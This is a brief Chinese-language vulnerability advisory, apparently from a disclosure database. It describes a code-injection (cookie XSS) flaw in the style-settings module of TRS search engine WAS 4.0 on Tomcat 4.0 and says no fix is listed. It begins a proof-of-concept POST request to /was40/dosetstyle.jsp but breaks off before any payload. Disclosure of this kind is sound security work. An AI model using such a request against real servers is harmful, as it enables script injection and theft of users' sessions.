TRS搜索引擎代码注入漏洞

TRS 搜索引擎是TRS公司推出搭建智能化、个性化和企业级搜索引擎的优选平台。 TRS 搜索引擎在“风格设置"模块存在一处缺陷，允许恶意攻击者在页面中植入任意代码。（cookies xss） 0 WAS 4.0 + Tomcat 4.0 for Windows 暂无 --------------------------------------------------------- POST /was40/dosetstyle.jsp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,...